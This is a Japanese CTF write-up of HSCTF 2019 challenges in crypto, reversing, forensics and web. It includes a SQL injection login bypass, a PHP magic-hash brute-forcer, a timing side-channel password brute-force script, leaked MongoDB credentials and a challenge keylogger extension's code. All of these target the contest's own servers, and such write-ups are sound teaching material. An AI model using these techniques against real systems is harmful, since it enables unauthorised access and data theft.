Thank you for using JSON info!

フラグが得られました。

hsctf{JS0N_or_Y4ML}

Cryptography

Welcome to Crypto Land (327)

Crypto land is fun! Decrypt:

KZ6UaztNnau6z39oMHUu8UTvdmq1bhob3CcEFdWXRfxJqdUAiNep4pkvkAZUSn9CvEvPNT5r2zt6JPg9bVBPYuTW4xr8v2PuPxVuCT6MLJWDJp84

Base64 感がありますが、Base64 デコードをしてもまともな文字列が出てきません。CyberChef で Base なんとか系を片っ端から試していると、Base58 でデコードした時に文章が得られました。

Welcome to HSCTF! This is your flag: hsctf{w0w_th1s_1s_my_f1rst_crypt0_chall3ng3?}

フラグが得られました。

hsctf{w0w_th1s_1s_my_f1rst_crypt0_chall3ng3?}

Reversal

VirtualJava (356)

There’s nothing like executing my own code in Java in my own special way.

添付ファイル: VirtualJava.java

VirtualJava.java は以下のような内容でした。

public class VirtualJava {
    private static final String[] owo = {"ur too pro for this", "Hmmmm... I don't think so ;D"};
    private int[] regs;
    private int[] stack;
    private int sp;
    private int ip;
    private boolean running;
    private int[] instructions;

    private VirtualJava(int[] instructions) {
        this.regs = new int[10];
        this.stack = new int[10];
        this.sp = 0;
        this.ip = 0;
        this.running = true;
        this.instructions = instructions;
    }

    private void push(int n) {
        this.stack[this.sp++] = n;
    }

    private int pop() {
        return this.stack[--this.sp];
    }

    private int run(int... params) {
        if (params != null) for (int i = 0; i < params.length; i++) this.regs[i] = params[i];
        while (this.running) {
            int opc = readByte();
            int opn = readByte();
            switch (opc) {
                case 0x0:
                    push(pop() + pop());
                    break;
                case 0x1: {
                    int y = pop();
                    int x = pop();
                    push(x - y);
                    break;
                }
                case 0x2:
                    push(pop() * pop());
                    break;
                case 0x3:
                    int y = pop();
                    int x = pop();
                    push(x / y);
                    break;
                case 0x4:
                    if (pop() == 0) this.ip = opn;
                    break;
                case 0x5:
                    if (pop() != 0) this.ip = opn;
                    break;
                case 0x6:
                    push(opn);
                    break;
                case 0x7:
                    push(pop() & pop());
                    break;
                case 0x8:
                    push(pop() | pop());
                    break;
                case 0x9:
                    push(pop() ^ pop());
                    break;
                case 0xa:
                    int a = pop();
                    push(a);
                    push(a);
                    break;
                case 0xb:
                    push(this.regs[opn]);
                    break;
                case 0xc:
                    this.running = false;
                    break;
            }
        }
        this.running = true;
        return this.stack[--this.sp];
    }

    private int readByte() {
        return this.instructions[this.ip++] & 0xFF;
    }

    private static String getOutput(int n) {
        return n == 0 ? owo[n] : owo[1];
    }

    public static void main(String... args) {
        if (args.length != 1 || args[0].toCharArray().length != 31) {
            System.out.println(getOutput(1));
            System.exit(0);
        }
        VirtualJava java = new VirtualJava(new int[]{});
        char[] c = args[0].toCharArray();
        for (int i = 0; i < c.length; i++) {
            String s = getOutput(Math.abs(java.run(i, (int) c[i])));
            if (s.equals(owo[1])) {
                System.out.println(s);
                System.exit(0);
            }
        }
        System.out.println(getOutput(Math.abs(java.run(0, (int) c[0]) % 2)));
    }
}

独自の VM を実装しているようですが、バイトコードを解析するのは面倒です。とりあえず main を読んでいきましょう。

        if (args.length != 1 || args[0].toCharArray().length != 31) {
            System.out.println(getOutput(1));
            System.exit(0);
        }

コマンドライン引数として文字列を与えると、フラグとして正しいかどうかチェックしてくれるようです。また、フラグは 31 文字のようです。

        VirtualJava java = new VirtualJava(new int[]{});
        char[] c = args[0].toCharArray();
        for (int i = 0; i < c.length; i++) {
            String s = getOutput(Math.abs(java.run(i, (int) c[i])));
            if (s.equals(owo[1])) {
                System.out.println(s);
                System.exit(0);
            }
        }

VM を初期化した後、フラグを 1 文字ずつ VM に投げてその文字が正しいかどうかチェックしているようです。

では、1 文字ずつ総当たりして System.exit(0); が呼ばれないパターンを探していくように改変してみましょう。getVM という VM を初期化するメソッドを追加し、main を以下のように改変します。

    private static VirtualJava getVM() {
        return new VirtualJava(new int[]{});
    }

    public static void main(String... args) {
        int known[] = new int[31];
        for (int i = 0; i < 31; i++) {
            for (int c = 0x20; c < 0x7f; c++) {
                VirtualJava java = getVM();

                for (int j = 0; j < i; j++) {
                    getOutput(Math.abs(java.run(j, known[j])));
                }

                String s = getOutput(Math.abs(java.run(i, c)));

                if (!s.equals(owo[1])) {
                    System.out.printf("%c", c);
                    known[i] = c;
                    break;
                }
            }
        }
    }

実行してみましょう。

$ javac VirtualJava.java
$ java VirtualJava
hsctf{y0u_d3f34t3d_th3_b4by_vm}

フラグが得られました。

hsctf{y0u_d3f34t3d_th3_b4by_vm}

Bitecode (377)

Keith went crazy and told me to work on the compiled form of Java instead of the source code. Unfortunately, all decompilers I’ve tried crash on attempting to decompile. Can you help out?

添付ファイル: BiteCode.class

BiteCode.class を CFR でデコンパイルすると、以下のようなコードが得られました。

/*
 * Decompiled with CFR 0.140.
 * 
 * Could not load the following classes:
 *  \u0000java.lang.System
 */
import \u0000java.lang.System;
import java.io.PrintStream;

/*
 * Class file version 45.0 predates 45.3 (Java 1.0), recompilation may lose compatibility!
 */
public class BiteCode {
    private static /* synthetic */ int a;

    /*
     * Unable to fully structure code
     */
    public static void main(String[] var0) {

        var1_1 = var0.length;
        var2_2 = BiteCode.a;
        if (var1_1 - 1 != 0) {
            (System)null;
            java.lang.System.out.println("Nah");
            return;
        }

                if ((v0[25] ^ 61697107) - 61697122 != 0) {
                    if (var2_2 != 0) ** continue;
                    (System)null;
                    java.lang.System.out.println("Nah");
                    return;
                }
                if ((v0[26] ^ 267894989) - 267895017 == 0) break block83;
            }
            while (var2_2 != 0) {
            }
            (System)null;
            java.lang.System.out.println("Nah");
            return;
        }
        ** while ((v0[27] ^ -13480562) - -13480461 == 0)
lbl234: // 1 sources:
        ** while (var2_2 != 0)
lbl235: // 1 sources:
        (System)null;
        java.lang.System.out.println("Nah");
    }
}

コマンドライン引数を 1 文字ずつ面倒くさい形で比較しているようです。(v0[27] ^ -13480562) - -13480461 == 0 のような式から逆算するスクリプトを書きましょう。

import re
# grep v0 BiteCode.java | grep "\^"
s = """     if ((v0[0] ^ 189074585) - 189074673 != 0) lbl-1000: // 3 sources:
︙
                if ((v0[25] ^ 61697107) - 61697122 != 0) {
                if ((v0[26] ^ 267894989) - 267895017 == 0) break block83;
        ** while ((v0[27] ^ -13480562) - -13480461 == 0)""".strip()

res = ''
for line in s.splitlines():
  a, b = re.findall(r'\^ (-?[0-9]+)\) - (-?[0-9]+)', line)[0]
  a, b = int(a), int(b)
  res += chr(a ^ b)

print(res)

実行してみましょう。

$ python solve.py
hsctf{wH04_u_r_2_pr0_4_th1$}

フラグが得られました。

hsctf{wH04_u_r_2_pr0_4_th1$}

Tux Talk Show 2019 (403)

Tux Talk Show 2019. Yes, this is trash.

nc rev.hsctf.com 6767

添付ファイル: trash

trash がどのようなファイルか file コマンドで確認しましょう。

$ file trash
trash: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=8c0d2b94392e01fecb4b54999cc8afe6fa99653d, for GNU/Linux 3.2.0, not stripped

x86_64 の ELF ファイルのようです。Ghidra で解析してみましょう。main を見ていきます。

int main(void)

{
  int iVar1;
  time_t tVar2;
  basic_ostream *this;
  long in_FS_OFFSET;
  int local_290;
  int local_28c;
  int local_288;
  int local_284;
  undefined4 local_280;
  undefined4 local_27c;
  undefined4 local_278;
  undefined4 local_274;
  undefined4 local_270;
  undefined4 local_26c;
  int local_268 [4];
  undefined4 local_258;
  undefined4 local_254;
  basic_string local_248 [32];
  basic_istream local_228 [520];
  long local_20;
  
  local_20 = *(long *)(in_FS_OFFSET + 0x28);
  basic_ifstream((char *)local_228,0x1020b0);
  tVar2 = time((time_t *)0x0);
  srand((uint)tVar2);
                    /* try { // try from 0010127e to 001012c0 has its CatchHandler @ 00101493 */
  this = operator<<<std--char_traits<char>>
                   ((basic_ostream *)cout,"Welcome to Tux Talk Show 2019!!!");
  operator<<((basic_ostream<char,std--char_traits<char>>*)this,endl<char,std--char_traits<char>>);
  operator<<<std--char_traits<char>>((basic_ostream *)cout,"Enter your lucky number: ");
  operator>>((basic_istream<char,std--char_traits<char>> *)cin,&local_290);
  local_280 = 0x79;
  local_27c = 0x12c97f;
  local_278 = 0x135f0f8;
  local_274 = 0x74acbc6;
  local_270 = 0x56c614e;
  local_26c = 0xffffffe2;
  local_268[0] = 0x79;
  local_268[1] = 0x12c97f;
  local_268[2] = 0x135f0f8;
  local_268[3] = 0x74acbc6;
  local_258 = 0x56c614e;
  local_254 = 0xffffffe2;
  local_28c = 0;
  while (local_28c < 6) {
    iVar1 = rand();
    local_268[(long)local_28c] = local_268[(long)local_28c] - (iVar1 % 10 + -1);
    local_28c = local_28c + 1;
  }
  local_288 = 0;
  local_284 = 0;
  while (local_284 < 6) {
    local_288 = local_288 + local_268[(long)local_284];
    local_284 = local_284 + 1;
  }
  if (local_288 == local_290) {
    basic_string();
                    /* try { // try from 00101419 to 00101448 has its CatchHandler @ 0010147f */
    operator>><char,std--char_traits<char>,std--allocator<char>>(local_228,local_248);
    this = operator<<<char,std--char_traits<char>,std--allocator<char>>
                     ((basic_ostream *)cout,local_248);
    operator<<((basic_ostream<char,std--char_traits<char>>*)this,endl<char,std--char_traits<char>>)
    ;
    ~basic_string((basic_string<char,std--char_traits<char>,std--allocator<char>> *)local_248);
  }
  ~basic_ifstream((basic_ifstream<char,std--char_traits<char>> *)local_228);
  if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

大変読みにくいですが、大雑把に言えば以下のような流れになっています。

  1. srand(time(NULL)) で乱数生成器を初期化
  2. rand() を何度か呼んで local_268[4] の値を変える
  3. local_268[4] から local_288 という数値を生成
  4. ユーザが入力した数値と local_288 を比較して、合っていればフラグを出力

gdb を使って local_288 がどのような値になるか確認してみましょう。

gdb-peda$ b *(main+0x1c5)
Breakpoint 1 at 0x13ee
gdb-peda$ commands
Type commands for breakpoint(s) 1, one per line.
End with a line saying just "end".
>  x/dw $rbp-0x280
>  c
>end
gdb-peda$ r
Welcome to Tux Talk Show 2019!!!
Enter your lucky number: 0x7fffffffdf90:        234874828
gdb-peda$ r
Welcome to Tux Talk Show 2019!!!
Enter your lucky number: 0x7fffffffdf90:        234874835
gdb-peda$ r
Welcome to Tux Talk Show 2019!!!
Enter your lucky number: 0x7fffffffdf90:        234874837
gdb-peda$ r
Welcome to Tux Talk Show 2019!!!
Enter your lucky number: 0x7fffffffdf90:        234874827
gdb-peda$ r
Welcome to Tux Talk Show 2019!!!
Enter your lucky number: 0x7fffffffdf90:        234874832

ほとんど変化がありません。234874828 で固定して何度か試してみましょう。

$ while true; do echo 234874837 | nc rev.hsctf.com 6767 2>&1 | grep hsctf; sleep 1; done
Enter your lucky number: hsctf{n1ce_j0b_w4th_r4ndom_gue33ing}

フラグが得られました。

hsctf{n1ce_j0b_w4th_r4ndom_gue33ing}

Forensics

Double Trouble (385)

What is a koala anyway?

添付ファイル: koala.png, koala2.png

stegsolve.jar を使って BGR の順番で LSB を取ると、koala.pngkoala2.png からそれぞれ以下のような文字列が抽出できました。

koala1.png: https://www.mediafire.com/file/0n67qsooy8hcy30/hmmm.txt/file
koala2.png: passkey: whatdowehavehere

抽出された URL からダウンロードできる hmmm.txt は以下のような内容でした。

$ xxd hmmm.txt
0000000: 8c0d 0407 0302 e352 594f 0049 0ac0 c3d2  .......RYO.I....
0000010: 6001 e611 e717 22ed af54 81ce 944c 694a  `....."..T...LiJ
0000020: 1cb2 f61a ac8f 780b 6b05 9387 f6dd 4788  ......x.k.....G.
0000030: 9259 1a67 1092 4a4a 11c8 5881 9e48 c607  .Y.g..JJ..X..H..
0000040: 1832 4d4f 1ca8 0ecb 4d18 04a8 fc65 e100  .2MO....M....e..
0000050: 4f87 1d52 2fa8 438c d1e7 7509 dc65 d630  O..R/.C...u..e.0
0000060: 7210 ee85 e257 9efc ba67 0492 176d dab9  r....W...g...m..
0000070: 32                                       2
$ file hmmm.txt
hmmm.txt: GPG symmetrically encrypted data (AES cipher)

GPG で暗号化されたファイルのようです。抽出できたパスワードを使って復号してみましょう。

$ gpg -d hmmm.txt 
gpg: AES encrypted data
gpg: encrypted with 1 passphrase
hsctf{koalasarethecutestaren'tthey?}

フラグが得られました。

hsctf{koalasarethecutestaren'tthey?}

Web

Inspect Me (51)

Keith’s little brother messed up some things…

(URL)

Note: There are 3 parts to the flag!

与えられた URL にアクセスすると以下のような HTML が返ってきました。

<!doctype html>
<html lang="en">
    <head>
        <meta charset="utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1, viewport-fit=cover">
        <title>inspect-me</title>
        <link rel="stylesheet" href="style.css">
    </head>
    <body>
        <main>
            <p>Keith was working on his CTF problem, but his little brother accidently moved the flag around. Can you help Keith find the flag?</p>
            <!-- The first part of the flag is: hsctf{that_was_ -->
        </main>
        <script src="script.js"></script>
    </body>
</html>

style.cssscript.js はそれぞれ以下のような内容でした。

style.css

body {
    font-family: Arial, Helvetica, sans-serif;
    background-color: #000;
}

main {
    max-width: 70ch;
    padding: 2ch;
    margin: auto;
}

/* The second part of the flag is: pretty_easy_ */

script.js

document.addEventListener('contextmenu', function(e) {
    e.preventDefault();
});

// The last part of the flag is: right}

フラグが得られました。

hsctf{that_was_pretty_easy_right}

Agent Keith (101)

Keith was looking at some old browsers and made a site to hold his flag.

(URL)

与えられた URL にアクセスすると、閲覧に使ったブラウザの User Agent が表示されました。ソースを見てみましょう。

<!-- DEBUG (remove me!!): NCSA_Mosaic/2.0 (Windows 3.1) -->

NCSA Mosaic の UA でアクセスしてみましょう。

$ curl "(URL)" -A "NCSA_Mosaic/2.0 (Windows 3.1)"
<!doctype html>
<html lang="en">
    <head>
        <meta charset="utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1, viewport-fit=cover">
        <title>agent-keith</title>
        <link rel="stylesheet" href="http://localhost:8002/static/style.css">
    </head>
    <body>
        <main>
            <h2>If you're not Keith, you won't get the flag!</h2>
            <p><b>Your agent is:</b> NCSA_Mosaic/2.0 (Windows 3.1)</p>
            <p><b>Flag:</b> hsctf{wow_you_are_agent_keith_now}</p>
            <!-- DEBUG (remove me!!): NCSA_Mosaic/2.0 (Windows 3.1) -->
        </main>
    </body>
</html>

フラグが得られました。

hsctf{wow_you_are_agent_keith_now}

S-Q-L (101)

Keith keeps trying to keep his flag safe. This time, he used a database and some PHP.

(URL)

与えられた URL にアクセスすると以下のようなログインフォームが表示されました。

  <form method="post" class="form-signin">
    <h1 class="h3 mb-3 font-weight-normal">Keith's Secret Site</h1><label for="usernameInput" class="sr-only">Username</label>
    <input id="usernameInput" name="username" class="form-control" placeholder="Username" required autofocus>
    <label for="inputPassword" class="sr-only">Password</label>
    <input type="password" name="password" id="passwordInput" class="form-control" placeholder="Password" required>
    <button class="btn btn-lg btn-primary btn-block" type="submit">Sign in</button>  
  </form>

問題名から SQLi があると推測できます。ユーザ名に ' or 1;# を入力するとフラグが得られました。

hsctf{mysql_real_escape_string}

The Quest (102)

You think you are worthy of obtaining the flag? Try your hand at The Quest to Obtain the Flag.

(URL)

与えられた URL にアクセスすると The Quest to Obtain the Flag というタイトルの Google フォームが表示されました。ソースを開いて hsctf{ を検索すると以下のような JavaScript コードが見つかりました。

<script type="text/javascript">var FB_PUBLIC_LOAD_DATA_ = [null,["You must overcome Three Challenges to Obtain the Flag",[[1772597152,"First Challenge","Enter the password",0,[[1465618973,null,1,null,[[4,301,["$^"]

,["The flag is: hsctf{google_forms_regex_cant_stop_nobody}",0,0,0,0]

;</script>

フラグが得られました。

hsctf{google_forms_regex_cant_stop_nobody}

Keith Logger (206)

Keith is up to some evil stuff! Can you figure out what he’s doing and find the flag?

Note: nothing is actually saved

添付ファイル: extension.crx

Google Chrome の拡張機能が与えられました。適当なツールで展開すると content.js というファイルが出てきました。

var timeout_textarea;
var xhr_textarea;
$("textarea")
    .on("keyup", function() {
        if (timeout_textarea) {
            clearTimeout(timeout_textarea);
        }
        if (xhr_textarea) {
            xhr_textarea.abort();
        }
        timeout_textarea = setTimeout(function() {
            var xhr = new XMLHttpRequest();
            /*
            xhr.open(
              "GET",
              "https://keith-logger.web.chal.hsctf.com/api/record?text=" +
                encodeURIComponent($("textarea").val()) +
                "&url=" + encodeURIComponent(window.location.href),
              true
            );*/
            // send a request to admin whenever something is logged, not needed anymore after testing
            /*
            xhr.open(
              "GET",
              "https://keith-logger.web.chal.hsctf.com/api/admin",
              true
            );*/
            xhr.send();
        }, 2000);
    });

https://keith-logger.web.chal.hsctf.com/api/admin にアクセスすると以下のような文章が表示されました。

didn't have time to implement this page yet. use admin:keithkeithkeith@keith-logger-mongodb.web.chal.hsctf.com:27017 for now

27017 というポート番号から、このサーバでは MongoDB が使われていると推測できます。ログインしてみましょう。

$ mongo --host keith-logger-mongodb.web.chal.hsctf.com --port 27017 --username admin --authenticationDatabase admin --password keithkeithkeith
MongoDB shell version: 3.0.15
connecting to: keith-logger-mongodb.web.chal.hsctf.com:27017/test

存在しているデータベースを確認します。

> show dbs
database  0.000GB
> use database
switched to db database

database のコレクションを確認します。

> show collections
collection

すべてのドキュメントを確認します。

> db.collection.find()
{ "_id" : ObjectId("5cf0512d464d9fe1d9915fbd"), "text" : "are kitties cool", "url" : "https://keith-logger.web.chal.hsctf.com/", "time" : "21:54:53.925045" }
{ "_id" : ObjectId("5cf051a95501f2901a915fbd"), "text" : "because i think they are", "url" : "https://keith-logger.web.chal.hsctf.com/", "time" : "21:56:57.974856" }
{ "_id" : ObjectId("5cf051b3464d9fe1d9915fbe"), "text" : "meow! :3", "url" : "https://keith-logger.web.chal.hsctf.com/", "time" : "21:57:07.295378" }
{ "_id" : ObjectId("5cf0520b464d9fe1d9915fbf"), "text" : "meow! :3", "url" : "https://keith-logger.web.chal.hsctf.com/", "time" : "21:58:35.030635" }
{ "_id" : ObjectId("5cf05212464d9fe1d9915fc0"), "text" : "if you're looking for the flag", "url" : "https://keith-logger.web.chal.hsctf.com/", "time" : "21:58:42.170470" }
{ "_id" : ObjectId("5cf0521b5501f2901a915fbe"), "text" : "it's hsctf{watch_out_for_keyloggers}", "url" : "https://keith-logger.web.chal.hsctf.com/", "time" : "21:58:51.359556" }

フラグが得られました。

hsctf{watch_out_for_keyloggers}

md5– (222)

md5– == md4

(URL)

与えられた URL にアクセスすると、以下のようにソースコードが表示されました。

<?php
$flag = file_get_contents("/flag");

if (!isset($_GET["md4"]))
{
    highlight_file(__FILE__);
    die();
}

if ($_GET["md4"] == hash("md4", $_GET["md4"]))
{
    echo $flag;
}
else
{
    echo "bad";
}
?>

$_GET["md4"] == hash("md4", $_GET["md4"]) とゆるい比較が使われており、MD4 でいわゆる Magic Hash (0e[0-9]+ のようなフォーマットのハッシュ) を作ればよいとわかります。総当たりで探すスクリプトを書きましょう。

<?php
$i = 0;
while (true) {
  if (hash("md4", "0e$i") == "0e$i") {
    echo "0e$i\n";
  }
  $i++;
}

しばらく走らせると 0e251288019 が見つかりました。

$ php brute.php
0e251288019

/?md4=0e251288019 にアクセスするとフラグが得られました。

hsctf{php_type_juggling_is_fun}

Accessible Rich Internet Applications (238)

A very considerate fellow, Rob believes that accessibility is very important!

NOTE: The flag for this challenge starts with flag{ instead of hsctf{

添付ファイル: index.html

index.html は以下のような内容でした。

<script>
var _0x3675=['','charCodeAt','write'];(function(_0x283415,_0x371ef6){var _0x4a806d=function(_0x54be6b){while(--_0x54be6b){_0x283415['push'](_0x283415['shift']());}};_0x4a806d(++_0x371ef6);}(_0x3675,0xbd));var _0x4be7=function(_0x320aef,_0x20e33e){_0x320aef=_0x320aef-0x0;var _0x2a0db7=_0x3675[_0x320aef];return _0x2a0db7;};var s=_0x4be7('0x0');m='';for(i=0x0;i<s['length'];i++)m+=String['fromCharCode'](s[_0x4be7('0x1')](i)-0x1);document[_0x4be7('0x2')](m);
</script>

明らかに javascript-obfuscator です。

とりあえずブラウザで開いてみると、パスワードを入力するフォームが表示されました。DevTools で Elements を見てみると、(CSS で #list { display: none; } のように設定されているため表示されていませんが) 以下のように謎のリストも出力されていることがわかりました。

<div id="list" role="listbox">
  <div role="option" aria-posinset="525" aria-setsize="1040">1</div>
  <div role="option" aria-posinset="642" aria-setsize="1040">1</div>
  <div role="option" aria-posinset="291" aria-setsize="1040">0</div><div role="option" aria-posinset="303" aria-setsize="1040">0</div>
  <div role="option" aria-posinset="835" aria-setsize="1040">1</div>
  <div role="option" aria-posinset="1016" aria-setsize="1040">0</div>
</div>

aria-posinset の値でソートして結合してみましょう。DevTools の Console で s = Array.from(document.getElementById('list').children).map(e => [e.innerText, e.attributes['aria-posinset'].value]).sort((x, y) => x[1] - y[1]).map(x => x[0]).join('') を実行すると以下のようなビット列が得られました。

01101001011011010010000001100111011011110110111001101110011000010010000001100001011001000110010000100000011100110110111101101101011001010010000001100110011010010110110001101100011001010111001000100000011101000110010101111000011101000010000001101000011001010111001001100101001000000111001101101111001000000111010001101000011001010010000001110000011000010110011101100101001000000110100101110011001000000110000100100000011000100110100101110100001000000110110001101111011011100110011101100101011100100010111000100000011011000110111101110010011001010110110100100000011010010111000001110011011101010110110100101110001011100010111000100000011010000110010101110010011001010010011101110011001000000111010001101000011001010010000001100110011011000110000101100111001000000110001001110100011101110010110000100000011001100110110001100001011001110111101101100001011000110110001101100101011100110111001101101001011000100110100101101100011010010111010001111001010111110110100101110011010111110110001101110010011101010110001101101001011000010110110001111101

バイト列に戻します。s.match(/.{8}/g).map(x => String.fromCharCode(parseInt(x, 2))).join('') で以下のような文章が出てきました。

im gonna add some filler text here so the page is a bit longer. lorem ipsum... here's the flag btw, flag{accessibility_is_crucial}

フラグが得られました。

flag{accessibility_is_crucial}

Networked Password (306)

Storing passwords on my own server seemed unsafe, so I stored it on a seperate one instead. However, the connection between them is very slow and I have no idea why.

(URL)

与えられた URL にアクセスすると、以下のようなフォームが表示されました。

<!doctype html>
<html lang="en">
    <head>
        <meta charset="utf-8"/>
        <title>Networked Password</title>
    </head>
    <body>
	
	<form method="POST">
	    <input type="password" placeholder="password" name="password"/>
	    <input type="submit"/>
	<form>
    </body>
</html>

April Fools’ GTF の Web 問で出てきそうな雰囲気です。試しに aaaaaahsctf{ をそれぞれ入力してみると、前者はレスポンスが一瞬で返ってくるのに対して、後者はレスポンスが数秒後に返ってきました。1 文字ずつ総当たりしてみましょう。

import requests
import time
URL = '(URL)'
known = 'hsctf{'
for c in '_abcdefghijklmnopqrstuwvxyz0123456789':
  t = time.time()
  requests.post(URL, data={'password': known + c})
  print(time.time() - t, c)
$ python solve.py
3.8241560459136963 }
3.7334086894989014 _
3.7752299308776855 a
︙
3.7522172927856445 q
3.7548017501831055 r
4.247360706329346 s
3.7472903728485107 t
3.7713863849639893 u
︙

s だけ若干レスポンスが遅いことから、hsctf{ の後に続く文字は s であると推測できます。これを繰り返すとフラグが得られました。

hsctf{sm0l_fl4g}
このエントリーをはてなブックマークに追加
st98.github.io / st98 の日記帳